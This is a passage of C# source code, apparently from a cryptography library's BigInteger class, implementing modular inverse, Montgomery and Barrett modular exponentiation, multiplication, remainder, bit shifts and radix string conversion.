Debug.Assert(m.BitCount == 1); if (!TestBit(0)) { throw new ArithmeticException("Numbers not relatively prime."); } int pow = m.BitLength - 1; long inv64 = ModInverse64(LongValue); if (pow < 64) { inv64 &= ((1L << pow) - 1); } BigInteger x = BigInteger.ValueOf(inv64); if (pow > 64) { BigInteger d = this.Remainder(m); int bitsCorrect = 64; do { BigInteger t = x.Multiply(d).Remainder(m); x = x.Multiply(Two.Subtract(t)).Remainder(m); bitsCorrect <<= 1; } while (bitsCorrect < pow); } if (x.sign < 0) { x = x.Add(m); } return x; } private static int ModInverse32(int d) { // Newton's method with initial estimate "correct to 4 bits" Debug.Assert((d & 1) != 0); int x = d + (((d + 1) & 4) << 1); // d.x == 1 mod 2**4 Debug.Assert(((d * x) & 15) == 1); x *= 2 - d * x; // d.x == 1 mod 2**8 x *= 2 - d * x; // d.x == 1 mod 2**16 x *= 2 - d * x; // d.x == 1 mod 2**32 Debug.Assert(d * x == 1); return x; } private static long ModInverse64(long d) { // Newton's method with initial estimate "correct to 4 bits" Debug.Assert((d & 1L) != 0); long x = d + (((d + 1L) & 4L) << 1); // d.x == 1 mod 2**4 Debug.Assert(((d * x) & 15L) == 1L); x *= 2 - d * x; // d.x == 1 mod 2**8 x *= 2 - d * x; // d.x == 1 mod 2**16 x *= 2 - d * x; // d.x == 1 mod 2**32 x *= 2 - d * x; // d.x == 1 mod 2**64 Debug.Assert(d * x == 1L); return x; } /** * Calculate the numbers u1, u2, and u3 such that: * * u1 * a + u2 * b = u3 * * where u3 is the greatest common divider of a and b. * a and b using the extended Euclid algorithm (refer p. 323 * of The Art of Computer Programming vol 2, 2nd ed). * This also seems to have the side effect of calculating * some form of multiplicative inverse. * * @param a First number to calculate gcd for * @param b Second number to calculate gcd for * @param u1Out the return object for the u1 value * @return The greatest common divisor of a and b */ private static BigInteger ExtEuclid(BigInteger a, BigInteger b, out BigInteger u1Out) { BigInteger u1 = One, v1 = Zero; BigInteger u3 = a, v3 = b; if (v3.sign > 0) { for (; ; ) { BigInteger[] q = u3.DivideAndRemainder(v3); u3 = v3; v3 = q[1]; BigInteger oldU1 = u1; u1 = v1; if (v3.sign <= 0) break; v1 = oldU1.Subtract(v1.Multiply(q[0])); } } u1Out = u1; return u3; } private static void ZeroOut( int[] x) { Array.Clear(x, 0, x.Length); } public BigInteger ModPow(BigInteger e, BigInteger m) { if (m.sign < 1) throw new ArithmeticException("Modulus must be positive"); if (m.Equals(One)) return Zero; if (e.sign == 0) return One; if (sign == 0) return Zero; bool negExp = e.sign < 0; if (negExp) e = e.Negate(); BigInteger result = this.Mod(m); if (!e.Equals(One)) { if ((m.magnitude[m.magnitude.Length - 1] & 1) == 0) { result = ModPowBarrett(result, e, m); } else { result = ModPowMonty(result, e, m, true); } } if (negExp) result = result.ModInverse(m); return result; } private static BigInteger ModPowBarrett(BigInteger b, BigInteger e, BigInteger m) { int k = m.magnitude.Length; BigInteger mr = One.ShiftLeft((k + 1) << 5); BigInteger yu = One.ShiftLeft(k << 6).Divide(m); // Sliding window from MSW to LSW int extraBits = 0, expLength = e.BitLength; while (expLength > ExpWindowThresholds[extraBits]) { ++extraBits; } int numPowers = 1 << extraBits; BigInteger[] oddPowers = new BigInteger[numPowers]; oddPowers[0] = b; BigInteger b2 = ReduceBarrett(b.Square(), m, mr, yu); for (int i = 1; i < numPowers; ++i) { oddPowers[i] = ReduceBarrett(oddPowers[i - 1].Multiply(b2), m, mr, yu); } int[] windowList = GetWindowList(e.magnitude, extraBits); Debug.Assert(windowList.Length > 0); int window = windowList[0]; int mult = window & 0xFF, lastZeroes = window >> 8; BigInteger y; if (mult == 1) { y = b2; --lastZeroes; } else { y = oddPowers[mult >> 1]; } int windowPos = 1; while ((window = windowList[windowPos++]) != -1) { mult = window & 0xFF; int bits = lastZeroes + BitLengthTable[mult]; for (int j = 0; j < bits; ++j) { y = ReduceBarrett(y.Square(), m, mr, yu); } y = ReduceBarrett(y.Multiply(oddPowers[mult >> 1]), m, mr, yu); lastZeroes = window >> 8; } for (int i = 0; i < lastZeroes; ++i) { y = ReduceBarrett(y.Square(), m, mr, yu); } return y; } private static BigInteger ReduceBarrett(BigInteger x, BigInteger m, BigInteger mr, BigInteger yu) { int xLen = x.BitLength, mLen = m.BitLength; if (xLen < mLen) return x; if (xLen - mLen > 1) { int k = m.magnitude.Length; BigInteger q1 = x.DivideWords(k - 1); BigInteger q2 = q1.Multiply(yu); // TODO Only need partial multiplication here BigInteger q3 = q2.DivideWords(k + 1); BigInteger r1 = x.RemainderWords(k + 1); BigInteger r2 = q3.Multiply(m); // TODO Only need partial multiplication here BigInteger r3 = r2.RemainderWords(k + 1); x = r1.Subtract(r3); if (x.sign < 0) { x = x.Add(mr); } } while (x.CompareTo(m) >= 0) { x = x.Subtract(m); } return x; } private static BigInteger ModPowMonty(BigInteger b, BigInteger e, BigInteger m, bool convert) { int n = m.magnitude.Length; int powR = 32 * n; bool smallMontyModulus = m.BitLength + 2 <= powR; uint mDash = (uint)m.GetMQuote(); // tmp = this * R mod m if (convert) { b = b.ShiftLeft(powR).Remainder(m); } int[] yAccum = new int[n + 1]; int[] zVal = b.magnitude; Debug.Assert(zVal.Length <= n); if (zVal.Length < n) { int[] tmp = new int[n]; zVal.CopyTo(tmp, n - zVal.Length); zVal = tmp; } // Sliding window from MSW to LSW int extraBits = 0; // Filter the common case of small RSA exponents with few bits set if (e.magnitude.Length > 1 || e.BitCount > 2) { int expLength = e.BitLength; while (expLength > ExpWindowThresholds[extraBits]) { ++extraBits; } } int numPowers = 1 << extraBits; int[][] oddPowers = new int[numPowers][]; oddPowers[0] = zVal; int[] zSquared = Arrays.Clone(zVal); SquareMonty(yAccum, zSquared, m.magnitude, mDash, smallMontyModulus); for (int i = 1; i < numPowers; ++i) { oddPowers[i] = Arrays.Clone(oddPowers[i - 1]); MultiplyMonty(yAccum, oddPowers[i], zSquared, m.magnitude, mDash, smallMontyModulus); } int[] windowList = GetWindowList(e.magnitude, extraBits); Debug.Assert(windowList.Length > 1); int window = windowList[0]; int mult = window & 0xFF, lastZeroes = window >> 8; int[] yVal; if (mult == 1) { yVal = zSquared; --lastZeroes; } else { yVal = Arrays.Clone(oddPowers[mult >> 1]); } int windowPos = 1; while ((window = windowList[windowPos++]) != -1) { mult = window & 0xFF; int bits = lastZeroes + BitLengthTable[mult]; for (int j = 0; j < bits; ++j) { SquareMonty(yAccum, yVal, m.magnitude, mDash, smallMontyModulus); } MultiplyMonty(yAccum, yVal, oddPowers[mult >> 1], m.magnitude, mDash, smallMontyModulus); lastZeroes = window >> 8; } for (int i = 0; i < lastZeroes; ++i) { SquareMonty(yAccum, yVal, m.magnitude, mDash, smallMontyModulus); } if (convert) { // Return y * R^(-1) mod m MontgomeryReduce(yVal, m.magnitude, mDash); } else if (smallMontyModulus && CompareTo(0, yVal, 0, m.magnitude) >= 0) { Subtract(0, yVal, 0, m.magnitude); } return new BigInteger(1, yVal, true); } private static int[] GetWindowList(int[] mag, int extraBits) { int v = mag[0]; Debug.Assert(v != 0); int leadingBits = BitLen(v); int resultSize = (((mag.Length - 1) << 5) + leadingBits) / (1 + extraBits) + 2; int[] result = new int[resultSize]; int resultPos = 0; int bitPos = 33 - leadingBits; v <<= bitPos; int mult = 1, multLimit = 1 << extraBits; int zeroes = 0; int i = 0; for (; ; ) { for (; bitPos < 32; ++bitPos) { if (mult < multLimit) { mult = (mult << 1) | (int)((uint)v >> 31); } else if (v < 0) { result[resultPos++] = CreateWindowEntry(mult, zeroes); mult = 1; zeroes = 0; } else { ++zeroes; } v <<= 1; } if (++i == mag.Length) { result[resultPos++] = CreateWindowEntry(mult, zeroes); break; } v = mag[i]; bitPos = 0; } result[resultPos] = -1; return result; } private static int CreateWindowEntry(int mult, int zeroes) { while ((mult & 1) == 0) { mult >>= 1; ++zeroes; } return mult | (zeroes << 8); } /** * return w with w = x * x - w is assumed to have enough space. */ private static int[] Square( int[] w, int[] x) { // Note: this method allows w to be only (2 * x.Length - 1) words if result will fit // if (w.Length != 2 * x.Length) // throw new ArgumentException("no I don't think so..."); ulong c; int wBase = w.Length - 1; for (int i = x.Length - 1; i > 0; --i) { ulong v = (uint)x[i]; c = v * v + (uint)w[wBase]; w[wBase] = (int)c; c >>= 32; for (int j = i - 1; j >= 0; --j) { ulong prod = v * (uint)x[j]; c += ((uint)w[--wBase] & UIMASK) + ((uint)prod << 1); w[wBase] = (int)c; c = (c >> 32) + (prod >> 31); } c += (uint)w[--wBase]; w[wBase] = (int)c; if (--wBase >= 0) { w[wBase] = (int)(c >> 32); } else { Debug.Assert((c >> 32) == 0); } wBase += i; } c = (uint)x[0]; c = c * c + (uint)w[wBase]; w[wBase] = (int)c; if (--wBase >= 0) { w[wBase] += (int)(c >> 32); } else { Debug.Assert((c >> 32) == 0); } return w; } /** * return x with x = y * z - x is assumed to have enough space. */ private static int[] Multiply(int[] x, int[] y, int[] z) { int i = z.Length; if (i < 1) return x; int xBase = x.Length - y.Length; do { long a = z[--i] & IMASK; long val = 0; if (a != 0) { for (int j = y.Length - 1; j >= 0; j--) { val += a * (y[j] & IMASK) + (x[xBase + j] & IMASK); x[xBase + j] = (int)val; val = (long)((ulong)val >> 32); } } --xBase; if (xBase >= 0) { x[xBase] = (int)val; } else { Debug.Assert(val == 0); } } while (i > 0); return x; } /** * Calculate mQuote = -m^(-1) mod b with b = 2^32 (32 = word size) */ private int GetMQuote() { if (mQuote != 0) { return mQuote; // already calculated } Debug.Assert(this.sign > 0); int d = -magnitude[magnitude.Length - 1]; Debug.Assert((d & 1) != 0); return mQuote = ModInverse32(d); } private static void MontgomeryReduce(int[] x, int[] m, uint mDash) // mDash = -m^(-1) mod b { // NOTE: Not a general purpose reduction (which would allow x up to twice the bitlength of m) Debug.Assert(x.Length == m.Length); int n = m.Length; for (int i = n - 1; i >= 0; --i) { uint x0 = (uint)x[n - 1]; ulong t = x0 * mDash; ulong carry = t * (uint)m[n - 1] + x0; Debug.Assert((uint)carry == 0); carry >>= 32; for (int j = n - 2; j >= 0; --j) { carry += t * (uint)m[j] + (uint)x[j]; x[j + 1] = (int)carry; carry >>= 32; } x[0] = (int)carry; Debug.Assert(carry >> 32 == 0); } if (CompareTo(0, x, 0, m) >= 0) { Subtract(0, x, 0, m); } } /** * Montgomery multiplication: a = x * y * R^(-1) mod m *
    * Based algorithm 14.36 of Handbook of Applied Cryptography. *
    *
  • m, x, y should have length n
  • *
  • a should have length (n + 1)
  • *
  • b = 2^32, R = b^n
  • *
    * The result is put in x *
    * NOTE: the indices of x, y, m, a different in HAC and in Java */ private static void MultiplyMonty(int[] a, int[] x, int[] y, int[] m, uint mDash, bool smallMontyModulus) // mDash = -m^(-1) mod b { int n = m.Length; if (n == 1) { x[0] = (int)MultiplyMontyNIsOne((uint)x[0], (uint)y[0], (uint)m[0], mDash); return; } uint y0 = (uint)y[n - 1]; int aMax; { ulong xi = (uint)x[n - 1]; ulong carry = xi * y0; ulong t = (uint)carry * mDash; ulong prod2 = t * (uint)m[n - 1]; carry += (uint)prod2; Debug.Assert((uint)carry == 0); carry = (carry >> 32) + (prod2 >> 32); for (int j = n - 2; j >= 0; --j) { ulong prod1 = xi * (uint)y[j]; prod2 = t * (uint)m[j]; carry += (prod1 & UIMASK) + (uint)prod2; a[j + 2] = (int)carry; carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32); } a[1] = (int)carry; aMax = (int)(carry >> 32); } for (int i = n - 2; i >= 0; --i) { uint a0 = (uint)a[n]; ulong xi = (uint)x[i]; ulong prod1 = xi * y0; ulong carry = (prod1 & UIMASK) + a0; ulong t = (uint)carry * mDash; ulong prod2 = t * (uint)m[n - 1]; carry += (uint)prod2; Debug.Assert((uint)carry == 0); carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32); for (int j = n - 2; j >= 0; --j) { prod1 = xi * (uint)y[j]; prod2 = t * (uint)m[j]; carry += (prod1 & UIMASK) + (uint)prod2 + (uint)a[j + 1]; a[j + 2] = (int)carry; carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32); } carry += (uint)aMax; a[1] = (int)carry; aMax = (int)(carry >> 32); } a[0] = aMax; if (!smallMontyModulus && CompareTo(0, a, 0, m) >= 0) { Subtract(0, a, 0, m); } Array.Copy(a, 1, x, 0, n); } private static void SquareMonty(int[] a, int[] x, int[] m, uint mDash, bool smallMontyModulus) // mDash = -m^(-1) mod b { int n = m.Length; if (n == 1) { uint xVal = (uint)x[0]; x[0] = (int)MultiplyMontyNIsOne(xVal, xVal, (uint)m[0], mDash); return; } ulong x0 = (uint)x[n - 1]; int aMax; { ulong carry = x0 * x0; ulong t = (uint)carry * mDash; ulong prod2 = t * (uint)m[n - 1]; carry += (uint)prod2; Debug.Assert((uint)carry == 0); carry = (carry >> 32) + (prod2 >> 32); for (int j = n - 2; j >= 0; --j) { ulong prod1 = x0 * (uint)x[j]; prod2 = t * (uint)m[j]; carry += (prod2 & UIMASK) + ((uint)prod1 << 1); a[j + 2] = (int)carry; carry = (carry >> 32) + (prod1 >> 31) + (prod2 >> 32); } a[1] = (int)carry; aMax = (int)(carry >> 32); } for (int i = n - 2; i >= 0; --i) { uint a0 = (uint)a[n]; ulong t = a0 * mDash; ulong carry = t * (uint)m[n - 1] + a0; Debug.Assert((uint)carry == 0); carry >>= 32; for (int j = n - 2; j > i; --j) { carry += t * (uint)m[j] + (uint)a[j + 1]; a[j + 2] = (int)carry; carry >>= 32; } ulong xi = (uint)x[i]; { ulong prod1 = xi * xi; ulong prod2 = t * (uint)m[i]; carry += (prod1 & UIMASK) + (uint)prod2 + (uint)a[i + 1]; a[i + 2] = (int)carry; carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32); } for (int j = i - 1; j >= 0; --j) { ulong prod1 = xi * (uint)x[j]; ulong prod2 = t * (uint)m[j]; carry += (prod2 & UIMASK) + ((uint)prod1 << 1) + (uint)a[j + 1]; a[j + 2] = (int)carry; carry = (carry >> 32) + (prod1 >> 31) + (prod2 >> 32); } carry += (uint)aMax; a[1] = (int)carry; aMax = (int)(carry >> 32); } a[0] = aMax; if (!smallMontyModulus && CompareTo(0, a, 0, m) >= 0) { Subtract(0, a, 0, m); } Array.Copy(a, 1, x, 0, n); } private static uint MultiplyMontyNIsOne(uint x, uint y, uint m, uint mDash) { ulong carry = (ulong)x * y; uint t = (uint)carry * mDash; ulong um = m; ulong prod2 = um * t; carry += (uint)prod2; Debug.Assert((uint)carry == 0); carry = (carry >> 32) + (prod2 >> 32); if (carry > um) { carry -= um; } Debug.Assert(carry < um); return (uint)carry; } public BigInteger Multiply( BigInteger val) { if (val == this) return Square(); if ((sign & val.sign) == 0) return Zero; if (val.QuickPow2Check()) // val is power of two { BigInteger result = this.ShiftLeft(val.Abs().BitLength - 1); return val.sign > 0 ? result : result.Negate(); } if (this.QuickPow2Check()) // this is power of two { BigInteger result = val.ShiftLeft(this.Abs().BitLength - 1); return this.sign > 0 ? result : result.Negate(); } int resLength = magnitude.Length + val.magnitude.Length; int[] res = new int[resLength]; Multiply(res, this.magnitude, val.magnitude); int resSign = sign ^ val.sign ^ 1; return new BigInteger(resSign, res, true); } public BigInteger Square() { if (sign == 0) return Zero; if (this.QuickPow2Check()) return ShiftLeft(Abs().BitLength - 1); int resLength = magnitude.Length << 1; if ((uint)magnitude[0] >> 16 == 0) --resLength; int[] res = new int[resLength]; Square(res, magnitude); return new BigInteger(1, res, false); } public BigInteger Negate() { if (sign == 0) return this; return new BigInteger(-sign, magnitude, false); } public BigInteger NextProbablePrime() { if (sign < 0) throw new ArithmeticException("Cannot be called on value < 0"); if (CompareTo(Two) < 0) return Two; BigInteger n = Inc().SetBit(0); while (!n.CheckProbablePrime(100, RandomSource, false)) { n = n.Add(Two); } return n; } public BigInteger Not() { return Inc().Negate(); } public BigInteger Pow(int exp) { if (exp <= 0) { if (exp < 0) throw new ArithmeticException("Negative exponent"); return One; } if (sign == 0) { return this; } if (QuickPow2Check()) { long powOf2 = (long)exp * (BitLength - 1); if (powOf2 > Int32.MaxValue) { throw new ArithmeticException("Result too large"); } return One.ShiftLeft((int)powOf2); } BigInteger y = One; BigInteger z = this; for (; ; ) { if ((exp & 0x1) == 1) { y = y.Multiply(z); } exp >>= 1; if (exp == 0) break; z = z.Multiply(z); } return y; } public static BigInteger ProbablePrime( int bitLength, Random random) { return new BigInteger(bitLength, 100, random); } private int Remainder( int m) { Debug.Assert(m > 0); long acc = 0; for (int pos = 0; pos < magnitude.Length; ++pos) { long posVal = (uint)magnitude[pos]; acc = (acc << 32 | posVal) % m; } return (int)acc; } /** * return x = x % y - done in place (y value preserved) */ private static int[] Remainder( int[] x, int[] y) { int xStart = 0; while (xStart < x.Length && x[xStart] == 0) { ++xStart; } int yStart = 0; while (yStart < y.Length && y[yStart] == 0) { ++yStart; } Debug.Assert(yStart < y.Length); int xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); if (xyCmp > 0) { int yBitLength = CalcBitLength(1, yStart, y); int xBitLength = CalcBitLength(1, xStart, x); int shift = xBitLength - yBitLength; int[] c; int cStart = 0; int cBitLength = yBitLength; if (shift > 0) { c = ShiftLeft(y, shift); cBitLength += shift; Debug.Assert(c[0] != 0); } else { int len = y.Length - yStart; c = new int[len]; Array.Copy(y, yStart, c, 0, len); } for (; ; ) { if (cBitLength < xBitLength || CompareNoLeadingZeroes(xStart, x, cStart, c) >= 0) { Subtract(xStart, x, cStart, c); while (x[xStart] == 0) { if (++xStart == x.Length) return x; } //xBitLength = CalcBitLength(xStart, x); xBitLength = 32 * (x.Length - xStart - 1) + BitLen(x[xStart]); if (xBitLength <= yBitLength) { if (xBitLength < yBitLength) return x; xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); if (xyCmp <= 0) break; } } shift = cBitLength - xBitLength; // NB: The case where c[cStart] is 1-bit is harmless if (shift == 1) { uint firstC = (uint)c[cStart] >> 1; uint firstX = (uint)x[xStart]; if (firstC > firstX) ++shift; } if (shift < 2) { ShiftRightOneInPlace(cStart, c); --cBitLength; } else { ShiftRightInPlace(cStart, c, shift); cBitLength -= shift; } //cStart = c.Length - ((cBitLength + 31) / 32); while (c[cStart] == 0) { ++cStart; } } } if (xyCmp == 0) { Array.Clear(x, xStart, x.Length - xStart); } return x; } public BigInteger Remainder( BigInteger n) { if (n.sign == 0) throw new ArithmeticException("Division by zero error"); if (this.sign == 0) return Zero; // For small values, use fast remainder method if (n.magnitude.Length == 1) { int val = n.magnitude[0]; if (val > 0) { if (val == 1) return Zero; // TODO Make this func work on uint, and handle val == 1? int rem = Remainder(val); return rem == 0 ? Zero : new BigInteger(sign, new int[] { rem }, false); } } if (CompareNoLeadingZeroes(0, magnitude, 0, n.magnitude) < 0) return this; int[] result; if (n.QuickPow2Check()) // n is power of two { // TODO Move before small values branch above? result = LastNBits(n.Abs().BitLength - 1); } else { result = (int[])this.magnitude.Clone(); result = Remainder(result, n.magnitude); } return new BigInteger(sign, result, true); } private int[] LastNBits( int n) { if (n < 1) return ZeroMagnitude; int numWords = (n + BitsPerInt - 1) / BitsPerInt; numWords = System.Math.Min(numWords, this.magnitude.Length); int[] result = new int[numWords]; Array.Copy(this.magnitude, this.magnitude.Length - numWords, result, 0, numWords); int excessBits = (numWords << 5) - n; if (excessBits > 0) { result[0] &= (int)(UInt32.MaxValue >> excessBits); } return result; } private BigInteger DivideWords(int w) { Debug.Assert(w >= 0); int n = magnitude.Length; if (w >= n) return Zero; int[] mag = new int[n - w]; Array.Copy(magnitude, 0, mag, 0, n - w); return new BigInteger(sign, mag, false); } private BigInteger RemainderWords(int w) { Debug.Assert(w >= 0); int n = magnitude.Length; if (w >= n) return this; int[] mag = new int[w]; Array.Copy(magnitude, n - w, mag, 0, w); return new BigInteger(sign, mag, false); } /** * do a left shift - this returns a new array. */ private static int[] ShiftLeft( int[] mag, int n) { int nInts = (int)((uint)n >> 5); int nBits = n & 0x1f; int magLen = mag.Length; int[] newMag; if (nBits == 0) { newMag = new int[magLen + nInts]; mag.CopyTo(newMag, 0); } else { int i = 0; int nBits2 = 32 - nBits; int highBits = (int)((uint)mag[0] >> nBits2); if (highBits != 0) { newMag = new int[magLen + nInts + 1]; newMag[i++] = highBits; } else { newMag = new int[magLen + nInts]; } int m = mag[0]; for (int j = 0; j < magLen - 1; j++) { int next = mag[j + 1]; newMag[i++] = (m << nBits) | (int)((uint)next >> nBits2); m = next; } newMag[i] = mag[magLen - 1] << nBits; } return newMag; } private static int ShiftLeftOneInPlace(int[] x, int carry) { Debug.Assert(carry == 0 || carry == 1); int pos = x.Length; while (--pos >= 0) { uint val = (uint)x[pos]; x[pos] = (int)(val << 1) | carry; carry = (int)(val >> 31); } return carry; } public BigInteger ShiftLeft( int n) { if (sign == 0 || magnitude.Length == 0) return Zero; if (n == 0) return this; if (n < 0) return ShiftRight(-n); BigInteger result = new BigInteger(sign, ShiftLeft(magnitude, n), true); if (this.nBits != -1) { result.nBits = sign > 0 ? this.nBits : this.nBits + n; } if (this.nBitLength != -1) { result.nBitLength = this.nBitLength + n; } return result; } /** * do a right shift - this does it in place. */ private static void ShiftRightInPlace( int start, int[] mag, int n) { int nInts = (int)((uint)n >> 5) + start; int nBits = n & 0x1f; int magEnd = mag.Length - 1; if (nInts != start) { int delta = (nInts - start); for (int i = magEnd; i >= nInts; i--) { mag[i] = mag[i - delta]; } for (int i = nInts - 1; i >= start; i--) { mag[i] = 0; } } if (nBits != 0) { int nBits2 = 32 - nBits; int m = mag[magEnd]; for (int i = magEnd; i > nInts; --i) { int next = mag[i - 1]; mag[i] = (int)((uint)m >> nBits) | (next << nBits2); m = next; } mag[nInts] = (int)((uint)mag[nInts] >> nBits); } } /** * do a right shift by one - this does it in place. */ private static void ShiftRightOneInPlace( int start, int[] mag) { int i = mag.Length; int m = mag[i - 1]; while (--i > start) { int next = mag[i - 1]; mag[i] = ((int)((uint)m >> 1)) | (next << 31); m = next; } mag[start] = (int)((uint)mag[start] >> 1); } public BigInteger ShiftRight( int n) { if (n == 0) return this; if (n < 0) return ShiftLeft(-n); if (n >= BitLength) return (this.sign < 0 ? One.Negate() : Zero); // int[] res = (int[]) this.magnitude.Clone(); // // ShiftRightInPlace(0, res, n); // // return new BigInteger(this.sign, res, true); int resultLength = (BitLength - n + 31) >> 5; int[] res = new int[resultLength]; int numInts = n >> 5; int numBits = n & 31; if (numBits == 0) { Array.Copy(this.magnitude, 0, res, 0, res.Length); } else { int numBits2 = 32 - numBits; int magPos = this.magnitude.Length - 1 - numInts; for (int i = resultLength - 1; i >= 0; --i) { res[i] = (int)((uint)this.magnitude[magPos--] >> numBits); if (magPos >= 0) { res[i] |= this.magnitude[magPos] << numBits2; } } } Debug.Assert(res[0] != 0); return new BigInteger(this.sign, res, false); } public int SignValue { get { return sign; } } /** * returns x = x - y - we assume x is >= y */ private static int[] Subtract( int xStart, int[] x, int yStart, int[] y) { Debug.Assert(yStart < y.Length); Debug.Assert(x.Length - xStart >= y.Length - yStart); int iT = x.Length; int iV = y.Length; long m; int borrow = 0; do { m = (x[--iT] & IMASK) - (y[--iV] & IMASK) + borrow; x[iT] = (int)m; // borrow = (m < 0) ? -1 : 0; borrow = (int)(m >> 63); } while (iV > yStart); if (borrow != 0) { while (--x[--iT] == -1) { } } return x; } public BigInteger Subtract( BigInteger n) { if (n.sign == 0) return this; if (this.sign == 0) return n.Negate(); if (this.sign != n.sign) return Add(n.Negate()); int compare = CompareNoLeadingZeroes(0, magnitude, 0, n.magnitude); if (compare == 0) return Zero; BigInteger bigun, lilun; if (compare < 0) { bigun = n; lilun = this; } else { bigun = this; lilun = n; } return new BigInteger(this.sign * compare, doSubBigLil(bigun.magnitude, lilun.magnitude), true); } private static int[] doSubBigLil( int[] bigMag, int[] lilMag) { int[] res = (int[])bigMag.Clone(); return Subtract(0, res, 0, lilMag); } public byte[] ToByteArray() { return ToByteArray(false); } public byte[] ToByteArrayUnsigned() { return ToByteArray(true); } private byte[] ToByteArray( bool unsigned) { if (sign == 0) return unsigned ? ZeroEncoding : new byte[1]; int nBits = (unsigned && sign > 0) ? BitLength : BitLength + 1; int nBytes = GetByteLength(nBits); byte[] bytes = new byte[nBytes]; int magIndex = magnitude.Length; int bytesIndex = bytes.Length; if (sign > 0) { while (magIndex > 1) { uint mag = (uint)magnitude[--magIndex]; bytes[--bytesIndex] = (byte)mag; bytes[--bytesIndex] = (byte)(mag >> 8); bytes[--bytesIndex] = (byte)(mag >> 16); bytes[--bytesIndex] = (byte)(mag >> 24); } uint lastMag = (uint)magnitude[0]; while (lastMag > byte.MaxValue) { bytes[--bytesIndex] = (byte)lastMag; lastMag >>= 8; } bytes[--bytesIndex] = (byte)lastMag; } else // sign < 0 { bool carry = true; while (magIndex > 1) { uint mag = ~((uint)magnitude[--magIndex]); if (carry) { carry = (++mag == uint.MinValue); } bytes[--bytesIndex] = (byte)mag; bytes[--bytesIndex] = (byte)(mag >> 8); bytes[--bytesIndex] = (byte)(mag >> 16); bytes[--bytesIndex] = (byte)(mag >> 24); } uint lastMag = (uint)magnitude[0]; if (carry) { // Never wraps because magnitude[0] != 0 --lastMag; } while (lastMag > byte.MaxValue) { bytes[--bytesIndex] = (byte)~lastMag; lastMag >>= 8; } bytes[--bytesIndex] = (byte)~lastMag; if (bytesIndex > 0) { bytes[--bytesIndex] = byte.MaxValue; } } return bytes; } public override string ToString() { return ToString(10); } public string ToString(int radix) { // TODO Make this method work for other radices (ideally 2 <= radix <= 36 as in Java) switch (radix) { case 2: case 8: case 10: case 16: break; default: throw new FormatException("Only bases 2, 8, 10, 16 are allowed"); } // NB: Can only happen to internally managed instances if (magnitude == null) return "null"; if (sign == 0) return "0"; // NOTE: This *should* be unnecessary, since the magnitude *should* never have leading zero digits int firstNonZero = 0; while (firstNonZero < magnitude.Length) { if (magnitude[firstNonZero] != 0) { break; } ++firstNonZero; } if (firstNonZero == magnitude.Length) { return "0"; } StringBuilder sb = new StringBuilder(); if (sign == -1) { sb.Append('-'); } switch (radix) { case 2: { int pos = firstNonZero; sb.Append(Convert.ToString(magnitude[pos], 2)); while (++pos < magnitude.Length) { AppendZeroExtendedString(sb, Convert.ToString(magnitude[pos], 2), 32); } break; } case 8: { int mask = (1 << 30) - 1; BigInteger u = this.Abs(); int bits = u.BitLength; IList S = Platform.CreateArrayList(); while (bits > 30) { S.Add(Convert.ToString(u.IntValue & mask, 8)); u = u.ShiftRight(30); bits -= 30; } sb.Append(Convert.ToString(u.IntValue, 8)); for (int i = S.Count - 1; i >= 0; --i) { AppendZeroExtendedString(sb, (string)S[i], 10); } break; } case 16: { int pos = firstNonZero; sb.Append(Convert.ToString(magnitude[pos], 16)); while (++pos < magnitude.Length) { AppendZeroExtendedString(sb, Convert.ToString(magnitude[pos], 16), 8); } break; } // TODO This could work for other radices if there is an alternative to Convert.ToString method //default: case 10: { BigInteger q = this.Abs(); if (q.BitLength < 64) { sb.Append(Convert.ToString(q.LongValue, radix)); break; } // TODO Could cache the moduli for each radix (soft reference?) IList moduli = Platform.CreateArrayList(); BigInteger R = BigInteger.ValueOf(radix); while (R.CompareTo(q) <= 0) { moduli.Add(R); R = R.Square(); } int scale = moduli.Count; sb.EnsureCapacity(sb.Length + (1 << scale)); ToString(sb, radix, moduli, scale, q); break; } } return sb.ToString(); } private static void ToString(StringBuilder sb, int radix, IList moduli, int scale, BigInteger pos) { if (pos.BitLength < 64) { string s = Convert.ToString(pos.LongValue, radix); if (sb.Length > 1 || (sb.Length == 1 && sb[0] != '-')) { AppendZeroExtendedString(sb, s, 1 << scale); } else if (pos.SignValue != 0) { sb.Append(s); } return; } BigInteger[] qr = pos.DivideAndRemainder((BigInteger)moduli[--scale]); ToString(sb, radix, moduli, scale, qr[0]); ToString(sb, radix, moduli, scale, qr[1]); } private static void AppendZeroExtendedString(StringBuilder sb, string s, int minLength) { for (int len = s.Length; len < minLength; ++len) { sb.Append('0'); } sb.Append(s); } private static BigInteger CreateUValueOf( ulong value) { int msw = (int)(value >> 32); int lsw = (int)value; if (msw != 0) return new BigInteger(1, new int[] { msw, lsw }, false); if (lsw != 0) { BigInteger n = new BigInteger(1, new int[] { lsw }, false); // Check for a power of two if ((lsw & -lsw) == lsw) { n.nBits = 1; } return n; } return Zero; } private static BigInteger CreateValueOf( long value) { if (value < 0) { if (value == long.MinValue) return CreateValueOf(~value).Not(); return CreateValueOf(-value).Negate(); } return CreateUValueOf((ulong)value); } public static BigInteger ValueOf( long value) { if (value >= 0 && value < SMALL_CONSTANTS.Length) { return SMALL_CONSTANTS[value]; } return CreateValueOf(value); } public int GetLowestSetBit() { if (this.sign == 0) return -1; return GetLowestSetBitMaskFirst(-1); } private int GetLowestSetBitMaskFirst(int firstWordMask) { int w = magnitude.Length, offset = 0; uint word = (uint)(magnitude[--w] & firstWordMask); Debug.Assert(magnitude[0] != 0); while (word == 0) { word = (uint)magnitude[--w]; offset += 32; } while ((word & 0xFF) == 0) { word >>= 8; offset += 8; } while ((word & 1) == 0) { word >>= 1; ++offset; } return offset; } public bool TestBit( int n) { if (n < 0) throw new ArithmeticException("Bit position must not be negative"); if (sign < 0) return !Not().TestBit(n); int wordNum = n / 32; if (wordNum >= magnitude.Length) return false; int word = magnitude[magnitude.Length - 1 - wordNum]; return ((word >> (n % 32)) & 1) > 0; } public BigInteger Or( BigInteger value) { if (this.sign == 0) return value; if (value.sign == 0) return this; int[] aMag = this.sign > 0 ? this.magnitude : Add(One).magnitude; int[] bMag = value.sign > 0 ? value.magnitude : value.Add(One).magnitude; bool resultNeg = sign < 0 || value.sign < 0; int resultLength = System.Math.Max(aMag.Length, bMag.Length); int[] resultMag = new int[resultLength]; int aStart = resultMag.Length - 